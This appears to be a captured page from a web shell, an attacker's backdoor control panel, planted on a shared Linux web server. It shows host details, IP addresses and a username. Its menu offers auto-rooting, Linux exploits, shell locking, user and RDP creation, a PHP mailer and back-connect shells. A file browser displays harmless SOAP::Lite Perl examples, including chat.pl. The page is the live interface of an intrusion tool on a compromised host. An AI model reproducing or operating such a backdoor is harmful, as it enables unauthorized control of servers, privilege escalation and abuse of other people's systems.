Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libsoap-lite-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
COM
[ DIR ]
drwxr-xr-x
My
[ DIR ]
drwxr-xr-x
SOAP
[ DIR ]
drwxr-xr-x
UDDI
[ DIR ]
drwxr-xr-x
WSDL
[ DIR ]
drwxr-xr-x
XML
[ DIR ]
drwxr-xr-x
XMLRPC
[ DIR ]
drwxr-xr-x
forms
[ DIR ]
drwxr-xr-x
server
[ DIR ]
drwxr-xr-x
allclients.pl
1.3
KB
-rw-r--r--
authentication.pl
1.1
KB
-rw-r--r--
autoexamples.pl
890
B
-rw-r--r--
chat.pl
1.1
KB
-rw-r--r--
compress.pl
488
B
-rw-r--r--
cookie.pl
458
B
-rw-r--r--
cookieauth.pl
386
B
-rw-r--r--
customschema.pl
3.12
KB
-rw-r--r--
fullsearch.pl
1023
B
-rw-r--r--
getdom.pl
1.77
KB
-rw-r--r--
google.pl
886
B
-rw-r--r--
inline.daemon
672
B
-rw-r--r--
iterator.pl
866
B
-rw-r--r--
joke.pl
469
B
-rw-r--r--
oneliners
187
B
-rw-r--r--
oo-apache.pl
798
B
-rw-r--r--
parametersbyname.pl
979
B
-rw-r--r--
pingpong.pl
1.01
KB
-rw-r--r--
soapmark.pl
1.92
KB
-rw-r--r--
soapsmtp.pl
768
B
-rw-r--r--
tcpclient.pl
572
B
-rw-r--r--
terraserver.pl
1.29
KB
-rw-r--r--
weblog.pl
480
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : chat.pl
#!/usr/bin/perl -w #!d:\perl\bin\perl.exe # -- SOAP::Lite -- soaplite.com -- Copyright (C) 2001 Paul Kulchenko -- use SOAP::Lite +autodispatch => uri => 'http://www.soaplite.com/My/Chat', proxy => 'http://localhost/soap', # proxy => 'http://localhost/', # local daemon server # proxy => 'http://localhost/soap', # local mod_perl server # proxy => 'https://localhost/soap', # local mod_perl SECURE server # proxy => 'tcp://localhost:82', # local tcp server on_fault => sub { my($soap, $res) = @_; die ref $res ? $res->faultstring : $soap->transport->status, "\n"; } ; my $nick = shift or die "Usage: $0 nickname\n"; my $c = My::Chat->join($nick); my %whois = %{$c->whois}; print map { "$_ [" . mktime($whois{$_}) . "]\n" } keys %whois; for (;;) { print map { my($nick, $text, $time) = @$_; chomp($text); join '', mktime($time), ' ', $nick, '>', ' ', $text, "\n"; } @{$c->get}; print "$nick> "; defined($_ = <>) or last; $c->send($_) if $_ =~ /\S/; } $c->quit; sub mktime { use POSIX qw(strftime); strftime("%m/%d %H:%M", localtime shift) }
Close
